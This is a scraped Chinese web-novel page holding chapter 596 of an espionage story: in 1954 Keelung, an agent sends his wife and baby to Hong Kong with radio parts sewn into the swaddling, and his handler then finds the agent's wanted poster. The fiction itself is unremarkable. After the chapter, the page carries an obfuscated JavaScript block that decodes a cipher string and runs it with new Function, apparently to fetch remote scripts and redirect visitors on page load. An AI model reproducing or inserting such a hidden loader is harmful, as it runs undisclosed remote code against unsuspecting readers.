首页
第0596章 码头诀别
返回
关灯 护眼:关 字号:小

第0596章 码头诀别

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第0596章码头诀别(第1/2页)
    ------
    1954年的冬天来得比往年都早。
    台北基隆港的码头区,凌晨三点四十七分。海风裹着咸腥的水汽从东北方向扑过来,卷着细雨打在铁皮棚顶上,发出密集的、像某种暗号般的敲击声。
    江一苇站在三号泊位旁边的货栈阴影里,双手插在呢子大衣口袋中,指节因为用力而泛白。
    他面前的地上放着一个藤编的婴儿摇篮,里面躺着一个刚满四十天的女婴。孩子裹在靛蓝色的襁褓里,睡得正沉,小拳头攥着,偶尔在梦里哼一声,又安静下来。摇篮边上搁着一只棕色的牛皮手提箱,箱角磨得发白,锁扣上贴着“香港—九龙“的航运标签。
    摇篮里,襁褓的夹层中,藏着三枚微型发报机零件——晶体振荡器、线圈和一组真空管。每一件都用蜡纸包了三层,再裹上棉絮,即便海关用X光机照射,也只能看到一团模糊的阴影。
    江一苇低头看了一眼女儿的脸。
    孩子长得像他妻子。眉眼间那种安静的轮廓,像极了他妻子小时候的照片——那是他岳母在他结婚时交给他的,一张泛黄的、边角卷起的半身照。
    他闭上眼,深吸了一口气。
    “一苇。“
    声音从身后传来。很轻,几乎被海浪声吞没,但他听得出来——是林默涵。
    江一苇没有回头。他保持着那个姿势,双手在口袋里攥得更紧了。
    “沈先生。“他用了这个称呼。即便此刻码头四下无人,即便他们之间早已不需要这层伪装,他还是叫了那个名字。习惯,或者说,是一种刻进骨子里的谨慎。
    林默涵走到他身侧。他今天穿了一身藏青色西装,外面罩着黑色风衣,领子竖起来挡风。金丝眼镜后的那双眼睛在昏黄的路灯下显得格外沉静——那种沉静不是没有波澜,而是波澜都被压到了最深处,表面看起来像一潭死水,底下却暗流汹涌。
    他看了一眼地上的摇篮和手提箱,又看了一眼江一苇。
    “都准备好了?“
    “嗯。“江一苇终于转过头来。他的脸色比上个月在军情局走廊里碰面时又憔悴了一圈,眼窝深陷,颧骨突出,嘴唇干裂起皮。“船票是今天早上六点十五分开往香港的'维多利亚号',头等舱,乘客名单上写的是'江文渊携妻女'——用的是我弟弟的身份证明。“
    “你弟弟知道吗?“
    “他不知道。“江一苇的声音很平,“证件是我去年从档案室调出来的,他本人还在金门服役,至少三个月内不会有人发现。“
    林默涵点了点头。他没有追问更多细节——江一苇既然敢用亲弟弟的身份,就一定已经想好了所有退路。或者说,他已经不在乎退路了。
    “你妻子呢?“
    “在船上。“江一苇朝“维多利亚号“的船身方向偏了偏头。那艘白色客轮静静地泊在码头边,舷窗里透出零星的灯光,像一只半闭着的眼睛。“她今天下午就登船了,说是提前安置行李。其实……她是怕我临时反悔。“
    他说这话时嘴角扯了一下,像是要笑,但那个弧度在嘴角挂了一瞬就散了,变成一种近乎苦涩的沉默。
    林默涵没有接话。他蹲下身,轻轻掀开襁褓的一角,看了一眼婴儿的脸。孩子似乎感觉到了什么,睫毛颤了颤,但没有醒。
    “零件藏得安全吗?“他问。
    “我妻子亲手缝的。她做了一整个晚上,缝完的时候手指扎了七八个针眼。“江一苇顿了顿,“她说,这比缝嫁衣还认真。“
    海风突然大了起来,吹得货栈顶上的铁皮哗啦作响。远处传来汽笛声——不是“维多利亚号“的,是另一艘货轮在试引擎,低沉的嗡鸣在海面上荡开,像某种巨大的动物的呼吸。
    林默涵站起身,从风衣内侧口袋里取出一个牛皮纸信封。信封不大,比手掌略长,封口处用蜡封着,上面什么字都没写。
    “这是你要求的。“他把信封递过去。
    江一苇接过来,没有拆开。他甚至没有看一眼——他大概已经猜到里面是什么了。组织答应他的条件:帮他妻子和女儿安全抵达香港后,安排她们经澳门转往大陆内地,落脚在福建或广东的某个小城,改名换姓,重新开始。信封里装的是路线图、联络暗号和一笔足够她们生活两年的安家费。
    “我还有一个条件。“江一苇说。
    “你说。“
    “如果我出事了——如果我没能从这件事里脱身——你们要帮我照顾她们。不是'安排',是'照顾'。我妻子身体不好,生完孩子之后落了病根,一到冬天就咳得整宿睡不着。她不会说闽南话,不会说广东话,在大陆一个亲人都没有。你们不能把她们往某个县城一放就不管了。“
    他的声音开始发颤。不是恐惧,是一种更深的东西——是把自己最柔软的部分摊开在别人面前时的那种赤裸感。
    林默涵看着他。
    “我以'海燕'的名义向你保证。“他说,“只要我还活着一天,你妻女的事就是我的事。“
    江一苇的喉结上下滚了一下。他低下头,盯着地上的摇篮,很久没有说话。
    雨又密了一些。林默涵撑开一把黑伞,罩在摇篮上方。伞面微微倾斜,雨水顺着伞骨滑落,在地面上汇成一小滩水洼。
    “情报呢?“江一苇终于开口,声音恢复了平静。
    “在这里。“林默涵拍了拍风衣内侧另一个口袋,“你给我的坐标和舰队部署方案,我已经核对过了。与海关那边的船只动向记录吻合,气象局的台风路径预测也佐证了时间窗口。这份情报是真的。“
    他顿了顿,又补了一句:“谢谢你。“
    江一苇摇了摇头。“不用谢我。我做这件事,不是为了你们,也不是为了什么主义。“他低头看着女儿,“我只是不想让她长大以后,活在一个连说真话都要掉脑袋的地方。“
    这句话说出来的时候,他的声音很轻,轻到几乎被海浪声盖过去。但林默涵听清了。
    他没有再说话。有些话不需要回应。
    两人就这样并肩站在货栈的阴影里,沉默地等着天亮。海风一阵一阵地吹,带着冬天特有的凛冽。远处偶尔传来几声犬吠——码头区的野狗在翻找垃圾。头顶的路灯忽明忽暗,像一颗快要燃尽的心脏。
    五点二十分。天边开始泛出蟹壳青的颜色。
    江一苇弯腰,最后一次整理女儿襁褓的边角。他的动作很慢,很仔细,像是在完成某种仪式。他把襁褓的系带重新打了一个结——不是普通的蝴蝶结,而是一个只有他妻子才看得懂的结法。如果将来有一天,孩子长大了,看到这个结,也许会问母亲这是什么意思。母亲会告诉她:这是你父亲打的。
    “时间差不多了。“林默涵说。
    江一苇直起身,深吸一口气,提起手提箱。他弯下腰,双手伸进摇篮两侧,要把孩子抱起来。
    就在这时——
    “哇——“
    婴儿突然哭了起来。
    不是那种被吵醒后的烦躁啼哭,而是一种尖锐的、撕心裂肺的哭声,像是有什么预感似的,从胸腔深处迸发出来,在空旷的码头区回荡。
    江一苇的手僵在半空中。
    哭声在凌晨的码头区传得很远。货栈对面的值班室里,一个睡眼惺忪的码头工人探出头来张望。远处的巡逻岗亭里,宪兵的身影晃动了一下。
    林默涵的瞳孔骤然收缩。
    “快。“他低声说,一把将摇篮抱起来,“往船上去,现在。“
    江一苇提起箱子,两人一前一后快步朝“维多利亚号“的登船口走去。林默涵走在前,用身体挡住摇篮,黑伞撑得低低的。江一苇跟在后面,脚步很快但很稳,没有回头。
    登船口的值班人员是一个四十多岁的老兵,正缩在铁皮屋里烤火。看到有人过来,他懒洋洋地探出半个身子。
    “登船时间还没到——“
    “我妻子在船上犯病了。“江一苇用急促的闽南语说道,声音里带着恰到好处的慌乱,“孩子也跟着哭了一路,我得赶紧上去。“
    老兵看了一眼他手里的手提箱和身后撑伞的人,又看了看天色——还早,但也不算太早。他嘟囔了一句“现在的读书人就是娇气“,挥了挥手放行了。
    两人快步走上舷梯。
    船上的走廊铺着暗红色的地毯,灯光昏暗。江一苇熟门熟路地拐了三个弯,来到头等舱的一间双人房门口。门虚掩着,推开门,妻子坐在靠窗的床沿上,脸色苍白,手里攥着一块手帕。
    看到江一苇进来,她猛地站起来。
    “一苇——“
    “没事,都进来了。“江一苇把箱子放在地上,接过林默涵手里的摇篮,轻轻放在床中央。妻子俯下身,手伸进襁褓里摸了摸孩子的后背,确认零件还在,然后抬起头,朝林默涵点了点头。
    林默涵站在门口,没有进房间。
    他看着这一幕——江一苇蹲在床边,笨拙地拍着女儿的背哄她入睡;妻子坐在旁边,一只手搭在丈夫肩上,另一只手轻轻抚着孩子的额头。三个人挤在一张不算大的床上,窗外的天光一点点亮起来,把他们的轮廓镀上一层浅灰色的边。
    这本来应该是最普通不过的一家三口。如果世界没有变成现在这个样子,他们此刻应该在某个安静的小城里,丈夫上班,妻子带孩子,周末去公园野餐。而不是像现在这样——妻子即将带着孩子远走他乡,丈夫留下来面对未知的命运,而他们之间唯一的纽带,是一份藏在襁褓里的情报。
    (本章未完,请点击下一页继续阅读)第0596章码头诀别(第2/2页)
    “沈先生。“江一苇的妻子忽然开口了。她的声音很轻,带着南方口音,“我听一苇说过你。谢谢你……帮他。“
    林默涵微微一怔。
    他不知道江一苇在家怎么称呼他。也许叫“沈先生“,也许叫“那个大陆来的人“,也许什么都没叫,只是在某个深夜的枕边,压低声音说了一句“有个朋友需要帮忙“。
    但他还是点了点头。
    “保重。“他说。
    然后他退出去,轻轻带上了门。
    走廊里安静得能听见地毯吸音后的脚步声。林默涵走到船舱尽头的安全门旁,推开一条缝,站在那里等。
    六点零五分。广播里传来登船提醒,用国语和粤语各播了一遍。码头上开始嘈杂起来——旅客的说话声、行李车的轱辘声、汽笛声、海鸥的叫声混在一起,构成了一幅混乱而充满生机的画面。
    六点十二分。最后一批旅客登船完毕。舷梯开始收起。
    林默涵站在安全门后,透过玻璃窗看着这一切。他看见江一苇出现在甲板上,站在船舷边,面朝码头的方向。江一苇没有往他这边看——也许他根本不知道林默涵还站在那里。他只是望着码头,望着这片他生活了三十年的土地,望着远处高雄方向的天空。
    汽笛长鸣。
    “维多利亚号“缓缓离开泊位,船身在水面上划出一道白色的弧线。江水被螺旋桨搅动,翻涌起浑浊的浪花。
    婴儿在船舱里又哭了起来。这一次,哭声被船体的震动和引擎的轰鸣盖住了,从码头上已经听不清了。
    但林默涵知道她在哭。
    他把手伸进风衣口袋,摸到了那张照片——不是女儿的照片,是出发前组织交给他的一张空白身份证明,上面已经盖好了章,只等填入姓名和照片。这张证件是给江一苇的妻子准备的,如果她在香港入境时遇到麻烦,可以用它证明自己的“难民“身份。
    他没有把证件交给江一苇。
    因为江一苇说“我妻子下午就登船了“。也就是说,证件已经由另一条线传递过去了。林默涵口袋里的这张是备用的,万一香港那边出岔子,苏曼卿会在九龙码头接应,把备用证件交到她手上。
    每一环都扣死了。每一个漏洞都补上了。
    这是他做情报工作十年来养成的习惯——永远准备PlanB,永远假设最坏的情况会发生,永远不让任何一个同志因为自己的疏忽而陷入绝境。
    但此刻,站在空荡荡的码头边,看着“维多利亚号“的白色船尾越来越小,最终消失在基隆港的转弯处,他忽然感到一种前所未有的疲惫。
    不是身体的疲惫。是那种把别人的命运扛在自己肩上太久之后,肩膀已经麻木,但心里某个地方还在隐隐作痛的感觉。
    他想起出发前陈明月说的话。
    那天晚上,她坐在阁楼的窗边,手里拿着那根铜簪,一遍遍地往发髻里插、拔出来、再插进去。窗外下着雨,雨滴打在瓦片上,声音细碎而绵密。
    “如果这次情报送不出去呢?“她问。
    “会送出去的。“
    “我是说如果。“
    林默涵沉默了很久。最后他说:“如果送不出去,那'台风计划'的舰队就会按时出发。金门海域的解放军会措手不及。可能会有船沉。可能会有人死。“
    “我是问你。“陈明月转过头来看着他,“如果送不出去,你会怎么样?“
    他没有回答。
    现在,站在基隆码头的晨雾中,他终于可以对自己诚实了——
    如果这份情报最终没能传回大陆,他不会活着看到那个结果。
    不是因为任务失败就要以死谢罪,而是因为到了那个时候,他的身份一定已经彻底暴露,魏正宏不会给他任何活着走进审讯室的机会。他会死在街头,死在某个小巷子里,死在试图传递最后一条消息的路上。
    就像老赵。就像苏曼卿的前夫。就像所有在他之前倒下的名字。
    他摸了摸风衣内侧口袋里的微型胶卷——“台风计划“的完整方案,坐标、舰队编成、出发时间、航线规划,全部浓缩在这片比指甲盖还小的胶片上。
    情报已经到手了。接下来的问题是:怎么送出去。
    从台北到香港的航班每周只有两班,下一班是三天后。但魏正宏最近加强了对机场的排查——上周有一个从大陆过来的商人因为行李中夹带禁书被扣了十二个小时。走空路风险太大。
    走海路的话,“维多利亚号“今天刚走,下一班客轮要等一周。一周的时间,足够魏正宏发现江一苇的异常,足够他封锁所有出口,足够他把整个台北翻过来找一个人。
    走无线电?发报机藏在盐埕区公寓的阁楼里,但那里已经半个月没去过了。上一次发报是十二天前,用的是备用频率,只发了三十秒就切断了。现在回去等于自投罗网。
    三条路,每条都像走钢丝。
    林默涵深吸一口气,把风衣领子翻下来,迈步朝码头出口走去。晨雾散了一些,天光已经大亮了。街边的小吃摊开始生火,炸油条的香味混在海风里飘过来。
    他要在今天之内找到第四条路。
    ------
    走到码头出口的岗亭旁时,他忽然停住了脚步。
    岗亭的墙上贴着一张新出的布告。白纸黑字,用浆糊粘在砖墙上,边角还在往下滴水——是今早刚贴上去的。
    布告的标题是:“通缉令“。
    下面是密密麻麻的小字,他只扫了一眼,目光就钉在了中间那段描述上:
    ……经查,军情局内部有共谍活动,现通缉嫌疑人江一苇,男,三十岁,浙江奉化人,军情局第三处机要秘书。特征:身高约五尺七寸,体态偏瘦,戴黑框眼镜,左眉上方有一道约一寸长的疤痕。凡提供线索者,赏银元五千……
    五千银元。
    林默涵的手指在风衣口袋里微微收紧。
    布告是今天贴的。也就是说,江一苇的身份在“维多利亚号“开船之前就已经暴露了。也许是在他离开军情局大楼的时候,也许是在他回家取行李的时候,也许——
    也许就是在刚才。
    他猛地转身,朝码头方向看去。
    “维多利亚号“已经不见了。江面上只剩下几艘渔船和一艘正在卸货的运输船。远处的灯塔在晨雾中若隐若现,像一只半闭的眼睛。
    他站在那里,一动不动。
    海风又起,吹得布告纸的一角卷了起来。他伸手把那角按回去,指尖触到纸面,冰凉潮湿。
    然后他松开手,转身走进晨光里。
    身后,岗亭里的宪兵打了个哈欠,拿起搪瓷缸喝了口热茶。他没有注意到那个穿藏青色西装的男人,也没有注意到男人离开时步伐比来时快了将近一倍。
    林默涵穿过基隆火车站前的广场,拐进一条小巷,在小巷尽头的公用电话亭前停下。
    他投了一枚硬币,拨了一个号码。
    电话响了四声之后被接起。
    “喂?“是苏曼卿的声音。她今天的声音比平时沙哑一些——也许是昨晚没睡好,也许是因为咖啡馆刚开门,她已经在吧台后面站了两个小时。
    “曼卿姐,是我。“他用闽南语说,“江一苇的布告贴出来了。“
    电话那头沉默了两秒。
    “什么时候的事?“
    “今天早上。就在码头出口的岗亭上。“
    “……船走了多久?“
    “二十分钟。“
    苏曼卿又沉默了。林默涵能听到电话那头咖啡馆的背景音——磨豆机的嗡嗡声、杯碟碰撞的清脆声响、一个女顾客在跟谁笑着说什么——一切如常,一切正常,仿佛这个世界没有任何改变。
    “曼卿姐?“
    “我在。“她的声音很稳,“你那边安全吗?“
    “暂时安全。“
    “好。你先回台北,不要走大路,绕道淡水河边那条小路。到台北之后不要直接来咖啡馆,去大稻埕那边的颜料行等我。我中午十二点过去。“
    “明白。“
    “还有,沈先生——“
    “什么?“
    “……江一苇的妻子知道了吗?“
    林默涵握着听筒的手紧了一下。
    “她应该还不知道。“他说,“船还没到香港,布告的消息传不到船上。“
    苏曼卿没有再说话。过了几秒,她轻轻说了一句:“好。你路上小心。“
    电话挂断了。
    林默涵把听筒放回叉簧上,推开电话亭的玻璃门,走了出去。
    巷子里的积水没过了鞋底。他没有低头看——他的目光越过巷口,望向远处的基隆山。山腰上有一片雾,像一条白色的带子,缠绕在半山腰,怎么也散不掉。
    他把双手插进风衣口袋,迈开步子。
    情报还在。这是最重要的。
    江一苇的妻子和女儿正在前往香港的路上。这是第二重要的。
    至于江一苇本人——
    林默涵的脚步微微顿了一下。
    然后他继续往前走,没有回头。
    ------
    (本章完)
    ------
    …
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();